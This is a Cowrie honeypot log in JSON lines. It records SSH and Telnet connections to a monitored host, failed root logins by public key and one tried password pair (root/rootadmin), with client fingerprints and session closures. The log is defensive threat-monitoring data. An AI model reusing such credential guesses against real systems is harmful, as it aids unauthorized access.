{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:bd:96:a6:b5:99:5b:bb:e3:dd:03:82:0d:bd:4e:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQtNOJCam+bXcriW5bkYkEVZjaOlDzMPbXZLU1yUvUCWF8e3ZIsXgiZ0XNmWFhcGyYvBDC387MN8ZQ0wqSRCC4G2Zo2JJ1FpxBCB7M5QS1NzGI27Ki9VaTj5cIxImELeH+5mBh3Ch7c60DCsIi69cz6RdlzoFcjoXPa+ZkTnTWWw8qfjF2JOGbKtTq8ZDz7X7FHlSVehjqWbm+gcSjHTcTACH8qVnPkVi+xBNeTSygU+3Nb0tm+i7DoaDrrbSIsuFJKjyBf8nFrz/bSHXt/bcEmsiyK2Xqqn4NQkq1YT0neG+XRvTKzm9tCALHHr/r+Rrj1/BZqVtEu4wnPZWpHQTL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:29.881982Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:10:fd:c1:d2:5b:be:0b:ab:75:d4:46:95:3f:73:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5oR3mBWyrYMa4rm9YoLZ1fwWatTBLuGqScnWFZ2bmsa3f2KONBmGv9eywqzJXYgkFJw1I4ALwzfS0x5oLrl1vq/PuP20F8Pi5ebUMvUr4n21QaXkfBVbmQ2/tfcv4XolS+/GtNr5gQKuQFUH0rueu1/UEvMXnAMBwHoa01xUlfyKBxl4TbHbGGoWXfENICzI1lgRLVmsI01NbqOeT61fKI+UrREaoWUxzymsndALchB9Tew7rtKf7zj1N2qqvtnLV7rh3srDQ57CF9rtoOlYSdz6HD15RLP7riY+EeN0tS3RG9tF2zS/aP+v1+bBU+X7twP5acHJ72PO78nDtxyOD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:10:fd:c1:d2:5b:be:0b:ab:75:d4:46:95:3f:73:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:30.040381Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:10:fd:c1:d2:5b:be:0b:ab:75:d4:46:95:3f:73:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5oR3mBWyrYMa4rm9YoLZ1fwWatTBLuGqScnWFZ2bmsa3f2KONBmGv9eywqzJXYgkFJw1I4ALwzfS0x5oLrl1vq/PuP20F8Pi5ebUMvUr4n21QaXkfBVbmQ2/tfcv4XolS+/GtNr5gQKuQFUH0rueu1/UEvMXnAMBwHoa01xUlfyKBxl4TbHbGGoWXfENICzI1lgRLVmsI01NbqOeT61fKI+UrREaoWUxzymsndALchB9Tew7rtKf7zj1N2qqvtnLV7rh3srDQ57CF9rtoOlYSdz6HD15RLP7riY+EeN0tS3RG9tF2zS/aP+v1+bBU+X7twP5acHJ72PO78nDtxyOD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:30.049073Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:bb:bc:36:42:e6:13:29:50:8e:fd:42:b7:18:2f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+GAte+pD01ovM17mjbE/oWL7i1sDfxqClUtRCsuKXWRAxODJ5S/VBAhC1+YdwNVq0Fhnwql/MLVjyVyQFgagQ5flrLHmOQxGWUb4FnSFqum+m1WmBNEDirK4kvNTelmcvvujIZjTw98CE1006yJejKcaawSY4mNzOpVlmfZCW7+2TWJD6wIGwmJqrAAdCy1gHZB+5IGssa6sRZ1s4w4GJCcTLrZVlqfHwdJ8NTN+GQ4L3QcpSdJTuIH8vReUvrm03ADn01zntN9z1RdLfdHRX79LzC4PAUMTjusPz1wLqpIomFSlyrAw+YuNgnTTt5mlUnuZInT2keHuWBasqjNSj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:bb:bc:36:42:e6:13:29:50:8e:fd:42:b7:18:2f:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:30.211287Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:bb:bc:36:42:e6:13:29:50:8e:fd:42:b7:18:2f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+GAte+pD01ovM17mjbE/oWL7i1sDfxqClUtRCsuKXWRAxODJ5S/VBAhC1+YdwNVq0Fhnwql/MLVjyVyQFgagQ5flrLHmOQxGWUb4FnSFqum+m1WmBNEDirK4kvNTelmcvvujIZjTw98CE1006yJejKcaawSY4mNzOpVlmfZCW7+2TWJD6wIGwmJqrAAdCy1gHZB+5IGssa6sRZ1s4w4GJCcTLrZVlqfHwdJ8NTN+GQ4L3QcpSdJTuIH8vReUvrm03ADn01zntN9z1RdLfdHRX79LzC4PAUMTjusPz1wLqpIomFSlyrAw+YuNgnTTt5mlUnuZInT2keHuWBasqjNSj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:30.215827Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:26:30.369373Z","src_ip":"138.84.56.228","session":"8fb1d6ad91dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.220.3.165","src_port":56454,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f11cce68a4","protocol":"telnet","message":"New connection: 31.220.3.165:56454 (159.203.135.109:23) [session: 44f11cce68a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:23.618864Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":11730,"dst_ip":"159.203.135.109","dst_port":22,"session":"94307283fc0c","protocol":"ssh","message":"New connection: 113.190.252.123:11730 (159.203.135.109:22) [session: 94307283fc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:35.033469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:35.038416Z","src_ip":"113.190.252.123","session":"94307283fc0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:35.552903Z","src_ip":"113.190.252.123","session":"94307283fc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin","message":"login attempt [root/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:37.093634Z","src_ip":"113.190.252.123","session":"94307283fc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:38.618783Z","src_ip":"113.190.252.123","session":"94307283fc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.201829433441162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:28:54.820565Z","src_ip":"31.220.3.165","session":"44f11cce68a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.107.251","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"c90e57613a94","protocol":"ssh","message":"New connection: 119.28.107.251:36600 (10.17.0.5:22) [session: c90e57613a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:31.594921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:31.603393Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:31.850694Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:e4:eb:1b:90:25:17:3a:84:4d:6e:34:d5:6f:fc:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTR/Ese+Mdzr3BA4vPf2TFqUZOyko1YCGJWMBeCNDKDfby8fBmnDW491OaxDkKaMo+2jfC4vIQJ8rs6vua5nMQ8OiigYEQASpMZ7zWpoX0un7SlRtWDq/2+B4hlhMzMkRQySWXRrIdnBUE7Xl+RP4Y2GlOXsF2eBAprP6ByrOrwL3ImDnlv7PTcwOQLU02VmNpAW1/V5pYypVrWHpXpyaV4XkWU6tTqA/qTL/oTj45oClGj7C/cWnVmeeLnoVfiZ1Yk0dJbX9RInbgLnb/UCR5jYQjrBowgvtjxipm4my8kAzFRgf1UOwLsexBGmoOSIyxBz71hawRSmlz4gPxXGk1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:e4:eb:1b:90:25:17:3a:84:4d:6e:34:d5:6f:fc:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.076669Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:e4:eb:1b:90:25:17:3a:84:4d:6e:34:d5:6f:fc:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTR/Ese+Mdzr3BA4vPf2TFqUZOyko1YCGJWMBeCNDKDfby8fBmnDW491OaxDkKaMo+2jfC4vIQJ8rs6vua5nMQ8OiigYEQASpMZ7zWpoX0un7SlRtWDq/2+B4hlhMzMkRQySWXRrIdnBUE7Xl+RP4Y2GlOXsF2eBAprP6ByrOrwL3ImDnlv7PTcwOQLU02VmNpAW1/V5pYypVrWHpXpyaV4XkWU6tTqA/qTL/oTj45oClGj7C/cWnVmeeLnoVfiZ1Yk0dJbX9RInbgLnb/UCR5jYQjrBowgvtjxipm4my8kAzFRgf1UOwLsexBGmoOSIyxBz71hawRSmlz4gPxXGk1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.079989Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:bd:33:2a:3d:95:25:1d:dd:2d:0b:c2:68:d0:35:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG6sQW74X3yx0KUWXK9IM/gVIUC31eVi3GBdT2NZqc/ujUCh4cmm5/jk/40Srz4ZTO98UDGzY4/PDdTNQ9XXEd0H6WvA7ulHjlun/iG+ED7GT1POLxWZV4dfeneBn0Pyrm31+A2H7sessOer4SQYXo9oEqyNhh2B6f6qRVdF4EDgRSQrAQkAxRuJ8d14b4NjSKLgAm33TIKbLsHkGsgDY5Ax/tVXJPk0PBoDV+7MeaJNnSu+SnKBHhu5Y/k8yDtLV21jjfwRc5c8iono6iojVx39K1hbODWW9h1V0ub4/kAM8KuHxzUrXhCYb2U3HGUYPo1xzrZ6zDIhi3duJOdMP7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:bd:33:2a:3d:95:25:1d:dd:2d:0b:c2:68:d0:35:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.331453Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:bd:33:2a:3d:95:25:1d:dd:2d:0b:c2:68:d0:35:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG6sQW74X3yx0KUWXK9IM/gVIUC31eVi3GBdT2NZqc/ujUCh4cmm5/jk/40Srz4ZTO98UDGzY4/PDdTNQ9XXEd0H6WvA7ulHjlun/iG+ED7GT1POLxWZV4dfeneBn0Pyrm31+A2H7sessOer4SQYXo9oEqyNhh2B6f6qRVdF4EDgRSQrAQkAxRuJ8d14b4NjSKLgAm33TIKbLsHkGsgDY5Ax/tVXJPk0PBoDV+7MeaJNnSu+SnKBHhu5Y/k8yDtLV21jjfwRc5c8iono6iojVx39K1hbODWW9h1V0ub4/kAM8KuHxzUrXhCYb2U3HGUYPo1xzrZ6zDIhi3duJOdMP7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.334959Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:1e:f4:e8:62:d7:81:12:76:d0:26:ee:cc:c1:38:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY5Y53o4JOYW7NufKoo7YRq205CKQskp0kNPAQrGdxUNsroydR1unz6PJU7OMtUEPvpecLSQB8IH1gyGdeWyJvVoBqpkZL+hLBP6UgZxwuQUKo8Hv4cFToxiSo1OxYLTc0H5rfjuhfm7IozQ6Rld5A90cz4mOGz14t0LV82iBuR4GTN1YZbh6/xJedPTen+sEZwWDDecsdBz0k8f8sNCuhQQs2/1To+t0X5MlJTKLz38RSw6rGnZInUhdzgvTUptl5dkaJrcRWYNCkzbNgEZAHyfTyxq/2gR2AcyRYFj0Tf9uQy4Ion3i/qr9VKirCEjX3PEnys4BATFzZEptF0RHl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:1e:f4:e8:62:d7:81:12:76:d0:26:ee:cc:c1:38:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.583269Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:1e:f4:e8:62:d7:81:12:76:d0:26:ee:cc:c1:38:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY5Y53o4JOYW7NufKoo7YRq205CKQskp0kNPAQrGdxUNsroydR1unz6PJU7OMtUEPvpecLSQB8IH1gyGdeWyJvVoBqpkZL+hLBP6UgZxwuQUKo8Hv4cFToxiSo1OxYLTc0H5rfjuhfm7IozQ6Rld5A90cz4mOGz14t0LV82iBuR4GTN1YZbh6/xJedPTen+sEZwWDDecsdBz0k8f8sNCuhQQs2/1To+t0X5MlJTKLz38RSw6rGnZInUhdzgvTUptl5dkaJrcRWYNCkzbNgEZAHyfTyxq/2gR2AcyRYFj0Tf9uQy4Ion3i/qr9VKirCEjX3PEnys4BATFzZEptF0RHl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.586833Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:28:af:45:94:b8:33:09:b9:63:bc:da:93:a2:1d:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY/gAf/jK6Ih/IA64ZFHTUPFaCX8t8OvdxkvLbQnpWp4ucHOVLH8XbDRKZmXVeRxZ/I8b3Ovao+4v4zxO6ZFVtI+L02UhOyR5sPrgsm/k/LZ72pHQTAoGW20hfaxXMcbMQwFeWdIKFu3LB5xtqTqhIYbeHmc43lS5QoxHBai61oQ4a1SafgfQ53UiqqjjdoMeeE7uh4Fb/qlg61p/LWWadl0MvhRwkqzF/6UWU3V3bEWqGRPDefNCU4OFSOeVPpc7HG3LhLaz7+gh6/QppoCZ5sHvgY45MI3IyfIUlXSDXsKjaTu6jn50xrm0RaYkEr5tx+aQ6YuB1LHxEpclAABa/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:28:af:45:94:b8:33:09:b9:63:bc:da:93:a2:1d:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.837307Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:28:af:45:94:b8:33:09:b9:63:bc:da:93:a2:1d:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDY/gAf/jK6Ih/IA64ZFHTUPFaCX8t8OvdxkvLbQnpWp4ucHOVLH8XbDRKZmXVeRxZ/I8b3Ovao+4v4zxO6ZFVtI+L02UhOyR5sPrgsm/k/LZ72pHQTAoGW20hfaxXMcbMQwFeWdIKFu3LB5xtqTqhIYbeHmc43lS5QoxHBai61oQ4a1SafgfQ53UiqqjjdoMeeE7uh4Fb/qlg61p/LWWadl0MvhRwkqzF/6UWU3V3bEWqGRPDefNCU4OFSOeVPpc7HG3LhLaz7+gh6/QppoCZ5sHvgY45MI3IyfIUlXSDXsKjaTu6jn50xrm0RaYkEr5tx+aQ6YuB1LHxEpclAABa/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:33.841647Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:85:90:a5:bf:33:de:1a:d5:0e:43:06:44:b5:c0:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJJmecH8fYhLaaYvPnNFlfqLmhMq0fY9WOcvF9NZX4T2zOAmhbogKZNOLRK/zopV65jt+KGCSNkUyL/L3WAL/CF4TwX+BkQFAk/xVnZV7MdSj17gvix8Wg/1wd3e1D5Io24rB6wqSygQ0ZJcnYiLBSj8SHj6FdlAsX8Ky1jmPVvjaEPEbxg29YSkZAq4nr5OMM8/W/sDdjvfkmXDH3Mc76g/AH+8m9IZcgh/IYJFbAQQ1jMTK9iJV84SDbJzRcTV4vVHFYZG/z3ydR9x1WzyoxUAAnnsZEAzAbEt2vLga7p93hDenD9BzZeqIFqcv6vBbDhNfJuZ21vbvr/sFnZ/8z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:85:90:a5:bf:33:de:1a:d5:0e:43:06:44:b5:c0:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:34.091260Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:85:90:a5:bf:33:de:1a:d5:0e:43:06:44:b5:c0:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJJmecH8fYhLaaYvPnNFlfqLmhMq0fY9WOcvF9NZX4T2zOAmhbogKZNOLRK/zopV65jt+KGCSNkUyL/L3WAL/CF4TwX+BkQFAk/xVnZV7MdSj17gvix8Wg/1wd3e1D5Io24rB6wqSygQ0ZJcnYiLBSj8SHj6FdlAsX8Ky1jmPVvjaEPEbxg29YSkZAq4nr5OMM8/W/sDdjvfkmXDH3Mc76g/AH+8m9IZcgh/IYJFbAQQ1jMTK9iJV84SDbJzRcTV4vVHFYZG/z3ydR9x1WzyoxUAAnnsZEAzAbEt2vLga7p93hDenD9BzZeqIFqcv6vBbDhNfJuZ21vbvr/sFnZ/8z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:34.094581Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:29:34.342557Z","src_ip":"119.28.107.251","session":"c90e57613a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.193.81.23","src_port":44280,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a25f74a5b0","protocol":"ssh","message":"New connection: 124.193.81.23:44280 (10.17.0.5:22) [session: 82a25f74a5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:31:51.273180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:31:51.278001Z","src_ip":"124.193.81.23","session":"82a25f74a5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T06:31:51.533215Z","src_ip":"124.193.81.23","session":"82a25f74a5b0","protocol":"ssh"}
